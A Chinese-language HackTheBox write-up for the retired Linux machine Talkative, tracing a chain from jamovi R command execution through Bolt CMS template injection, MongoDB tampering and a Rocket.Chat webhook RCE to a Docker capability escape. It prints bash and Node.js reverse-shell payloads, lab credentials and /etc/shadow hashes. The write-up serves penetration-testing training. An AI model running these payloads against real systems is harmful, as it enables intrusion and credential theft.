Talkative Writeup

概述 (Overview)

image

HOST: 10.10.11.155

OS: LINUX

发布时间: 2022-04-09

完成时间: 2022-07-04

机器作者: TheCyberGeek & JDgodd

困难程度: Hard

机器状态: 退休

MACHINE TAGS: #SQLi #SSTI #DockerAbuse

攻击链 (Kiillchain)

HTB 关于 Talkative

Talkative 是一个 Hard 等级的 Linux 机器,它首先在 Web 应用程序中存在注入命令,通过该漏洞可以进入 Jamovi 应用 docker 并在其中找到一个 omv 文件。解压这个 omv 文件后就得到了 Bolt CMS 中 admin 用户的凭据。继续通过利用 twig 中的服务器端模板注入,我们以用户 www-data 的身份获得了 shell 做为立足点。进一步对主机信息收集枚举,在主机上获得了用户 saul 的 shell 完成横移。对于 root,我们需要利用端口转发连接到运行在单独容器中的 MongoDB 服务器,并通过它修改 RocketChat registered user role,以便访问 RocketChat Web GUI 中的管理员仪表板。进一步利用 RocketChat webhook 功能,我们就可以在 RocketChat docker 容器中获得一个 root shell。由于我们是 docker 容器中的 root,需要进行逃逸。因此可以安装 libcap2 并查看系统功能,从而滥用 CAP_DAC_READ_SEARCH 功能来运行 shocker 漏洞并读取 root 标志。

枚举(Enumeration)

开始还是使用 Nmap 工具,对目标系统开放端口进行识别。

PORT STATE SERVICE VERSION 22/tcp filtered ssh 80/tcp open http Apache httpd 2.4.52 |_http-server-header: Apache/2.4.52 (Debian) |_http-title: Did not follow redirect to http://talkative.htb | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS 3000/tcp open ppp? | fingerprint-strings: | GetRequest: | HTTP/1.1 200 OK | X-XSS-Protection: 1 | X-Instance-ID: KRqEnTnjrCvwDPHbH | Content-Type: text/html; charset=utf-8 | Vary: Accept-Encoding | Date: Mon, 04 Jul 2022 02:01:56 GMT | Connection: close | <!DOCTYPE html> | <html> | <head> | <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true"> | <meta charset="utf-8" /> | <meta http-equiv="content-type" content="text/html; charset=utf-8" /> | <meta http-equiv="expires" content="-1" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge" /> | <meta name="fragment" content="!" /> | <meta name="distribution" content="global" /> | <meta name="rating" content="general" /> | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" /> | <meta name="mobile-web-app-capable" content="yes" /> | <meta name="apple-mobile-web-app-capable" conten | HTTPOptions: | HTTP/1.1 200 OK | X-XSS-Protection: 1 | X-Instance-ID: KRqEnTnjrCvwDPHbH | Content-Type: text/html; charset=utf-8 | Vary: Accept-Encoding | Date: Mon, 04 Jul 2022 02:01:57 GMT | Connection: close | <!DOCTYPE html> | <html> | <head> | <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/3ab95015403368c507c78b4228d38a494ef33a08.css?meteor_css_resource=true"> | <meta charset="utf-8" /> | <meta http-equiv="content-type" content="text/html; charset=utf-8" /> | <meta http-equiv="expires" content="-1" /> | <meta http-equiv="X-UA-Compatible" content="IE=edge" /> | <meta name="fragment" content="!" /> | <meta name="distribution" content="global" /> | <meta name="rating" content="general" /> | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" /> | <meta name="mobile-web-app-capable" content="yes" /> | <meta name="apple-mobile-web-app-capable" conten | Help, NCP: |_ HTTP/1.1 400 Bad Request 8080/tcp open http Tornado httpd 5.0 |_http-title: jamovi | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: TornadoServer/5.0 8081/tcp open http Tornado httpd 5.0 |_http-title: 404: Not Found | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: TornadoServer/5.0 8082/tcp open http Tornado httpd 5.0 |_http-title: 404: Not Found | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: TornadoServer/5.0

从结果中可以获知,Web 服务重定向至 http://talkative.htb 站点,并且存在多个 Web 服务端口。

Port 80 - Bolt CMS

浏览器查看 80 端口的上的 Web 服务,也没信息能够获知它是 Bolt CMS 应用。

600

从官方文档中能够找到管理登录路由地址,目前缺失账号转而查看其他地方找突破口。

600

页面上也有一些 mail 地址可以收集,可以留作后续攻击时进行用户枚举。

Saul Goodman saul@talkative.htb Janit Smith janit@talkative.htb Matt Williams matt@talkative.htb

Port 3000- Rocket Chat

这是一个开源的本地化部署的聊天平台,存在任意注册。

500

登录进行后没有获得更多信息,只有一个 #general 频道内容是空的。

Port 8080 - jamovi

jamovi 是一个统计软件,通过查看关于信息得到应用版本号:0.9.5.5

600

立足点(Foothold)

通过搜索 Exploit 能够找到一些CVE,尝试后发现不对,直到我发现 Rj 找个功能。 结合阅读 https://rdrr.io/r/base/system.html 文章,可以通过编写 R 语言运行其 system 函数进行命令执行。

600

文章中的实例:

image
Rj Editor 中运行,能够获取根目录下的文件列表,说明命令执行漏洞存在。

600

接下来就简单了,反弹一个 bash 会话至 Kali 的 NC 就得到了初步立足点。

try(system("bash -c '/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1'", intern = TRUE, ignore.stderr = TRUE))

600

横向移动(Lateral Movement)

分析所处环境,在根目录中下发现存在 .dockerenv 文件,意味着当前 shell 是处于 Docker 容器中。

下一步就需要进行容器逃逸,尝试进入宿主机环境。

root@b06821bbda78:~# ls -la / total 80 drwxr-xr-x 1 root root 4096 Mar 7 23:18 . drwxr-xr-x 1 root root 4096 Mar 7 23:18 .. -rwxr-xr-x 1 root root 0 Aug 15 2021 .dockerenv ...snip... root@b06821bbda78:~# cat /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.18.0.2 b06821bbda78 ...snip...

检查 /root 目录发现存在一个 bolt-administration.omv 文件,文件体积比较小所以直接通过 base64 进行转码,随后复制到 kali 进行还原。

root@b06821bbda78:~# cat bolt-administration.omv | base64 -w 0 UEsDBBQAAAAIAAu6DlMl...snip...ADmBgAAAAA=

Google 查了下该后缀文件格式,本质上它是个压缩文件直接通过 unzip 进行解压即可。在解压后的 xdata.json 文件中找到多组用户口令:

$ cat xdata.json {"A": {"labels": [[0, "Username", "Username", false], [1, "matt@talkative.htb", "matt@talkative.htb", false], [2, "janit@talkative.htb", "janit@talkative.htb", false], [3, "saul@talkative.htb", "saul@talkative.htb", false]]}, "B": {"labels": [[0, "Password", "Password", false], [1, "jeO09ufhWD<s", "jeO09ufhWD<s", false], [2, "bZ89h}V<S_DA", "bZ89h}V<S_DA", false], [3, ")SQWGm>9KHEA", ")SQWGm>9KHEA", false]]}, "C": {"labels": []}}
matt@talkative.htb jeO09ufhWD<s janit@talkative.htb bZ89h}V<S_DA saul@talkative.htb )SQWGm>9KHEA

首先尝试直接进行 ssh <user>@172.18.0.1 登录宿主机,均失败。开始找其他路径,发现组合 admin:jeO09ufhWD<s 口令可以登录 http://talkative.htb/bolt/ 控制台。

600

根据应用服务 Bolt version 5.1.3 版本去找历史漏洞,发现它存在 RCE 漏洞。

600

查看 CVE-2021-40219 漏洞描述,该问题出现在模版主题模块中。,直接找使用中的模版并在脚本代码中插入测试语句进行调试。

600

600

500

可以看到 PHP 代码被成功执行,直接利用 system() 函数反弹一个 shell 至 NC 就拿到了新的会话。

900

简单查看下环境发现依然处于 Docker 容器中。

$ cat /etc/hosts 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.17.0.10 d8c3fe92e427 $ ls -lsa / ...snip... 0 -rwxr-xr-x 1 root root 0 Jul 4 03:05 .dockerenv

继续尝试 ssh 登录宿主机,在使用 saul:jeO09ufhWD<s 组合的口令时成功进入宿主机。

600

权限提升(Privilege Escalation)

通过文件传递将 linpeas.sh 脚本传递至目标服务器,运行该脚本进一步收集当前环境信息方便后续提权。在 netstat 连接信息中,能够看到一条宿主机连接 Docker 172.17.0.2 的 27017 端口。而该端口一般运行着 MongoDB 服务,外部想要访问的话需要将该端口转发出来。

600

这里我使用 chisel 工具进行转发,kali 作为服务端暴漏 12345 端口,Docker 中直接运行客户端服务就好了。

image

因为 kali 没有直接安装 mongodb cli 的服务,需要自己去官网进行下载安装。

$ wget https://downloads.mongodb.com/compass/mongodb-mongosh_1.5.0_arm64.deb $ dpkg -i ./mongodb-mongosh_1.5.0_arm64.deb

这里直接连接转发到本地的 27017 端口,发现是没有账号密码验证的。随后在 meteor 库中找到了 Rocket.Cat 服务存储的用户信息。

# mongosh "mongodb://localhost:27017" ...snip... rs0 [direct: primary] test> show dbs admin 104.00 KiB config 124.00 KiB local 11.42 MiB meteor 4.64 MiB rs0 [direct: primary] admin> use meteor switched to db meteor rs0 [direct: primary] meteor> show collections ...snip... rs0 [direct: primary] meteor> db.users.find(); [ { _id: 'rocket.cat', createdAt: ISODate("2021-08-10T19:44:00.224Z"), avatarOrigin: 'local', name: 'Rocket.Cat', username: 'rocket.cat', status: 'online', statusDefault: 'online', utcOffset: 0, active: true, type: 'bot', _updatedAt: ISODate("2021-08-10T19:44:00.615Z"), roles: [ 'bot' ] }, { _id: 'ZLMid6a4h5YEosPQi', createdAt: ISODate("2021-08-10T19:49:48.673Z"), services: { password: { bcrypt: '$2b$10$jzSWpBq.eJ/yn/Pdq6ilB.UO/kXHB1O2A.b2yooGebUbh69NIUu5y' }, email: { verificationTokens: [ { token: 'dgATW2cAcF3adLfJA86ppQXrn1vt6omBarI8VrGMI6w', address: 'saul@talkative.htb', when: ISODate("2021-08-10T19:49:48.738Z") } ] }, resume: { loginTokens: [] } }, emails: [ { address: 'saul@talkative.htb', verified: false } ], type: 'user', status: 'offline', active: true, _updatedAt: ISODate("2022-07-04T03:16:15.520Z"), roles: [ 'admin' ], name: 'Saul Goodman', lastLogin: ISODate("2022-03-15T17:06:56.543Z"), statusConnection: 'offline', username: 'admin', utcOffset: 0 } ]

尝试解了一下 password hash 未得到明文,尝试对它进行替换。

这步在官方库的 issues 中能够找到实例:https://github.com/RocketChat/Rocket.Chat/issues/1502

800

db.getCollection('users').update({_id:"ZLMid6a4h5YEosPQi"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })

900

执行成功后,就能使用更改的密码 12345 登录 saul 账号了。

800

通过页面信息确认当前版本是:Rocket.Chat Version 2.4.14,继续找历史 CVE 漏洞。

800

我这里利用的是 CVE-2021-22911 漏洞,详情可以在 Github 中找到。

https://github.com/CsEnox/CVE-2021-22911

* RCE ( Autenticated - Admin ) Rocket.Chat has a feature called Integrations that allows creating incoming and outgoing web hooks. These web hooks can have scripts associated with them that are executed when the web hook is triggered. We create a integration with the following script : const require = console.log.constructor('return process.mainModule.require')(); const { exec } = require('child_process'); exec('command here'); Next we just trigger the webhook to get rce :)

从描述中可以知道攻击步骤,通过 Web hooks 功能触发代码执行。

600

600

而 shellcode 可以参考该文章:Nodejs RCE and a simple reverse shell

const require = console.log.constructor('return process.mainModule.require')(); var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(<port>, "<ip>", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});

500

创建好后可以在 Integrations 中看到该 webhook 。

600

500

将地址复制出来进行 GET 请求,这样在 NC 中就得到了一个会话 shell。

800

经过简单的分析,当前 shell 依然是在一个 Docker 容器中。随后将 CDK 工具传递至容器内,进行安全分析尝试找到突破口。

800

从结果中获知 CAP_DAC_READ_SEARCH 是开启的,这意味着可以读取宿主机上的任意文件。例如直接读取 /etc/shadow 文件,可以获得宿主机用户的密码 hash。

(remote) root@c150397ccd63:/root# ./cdk_linux_amd64 run cap-dac-read-search /etc/shadow Running with target: /etc/shadow, ref: /etc/hostname root:$6$9GrOpvcijuCP93rg$tkcyh.ZwH5w9AHrm66awD9nLzMHv32QqZYGiIfuLow4V1PBkY0xsKoyZnM3.AI.yGWfFLOFDSKsIR9XnKLbIY1:19066:0:99999:7::: ...snip... saul:$6$19rUyMaBLt7.CDGj$ik84VX1CUhhuiMHxq8hSMjKTDMxHt.ldQC15vFyupafquVyonyyb3/S6MO59tnJHP9vI5GMvbE9T4TFeeeKyg1:19058:0:99999:7:::

利用该漏洞成功得到 root flag。

image

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。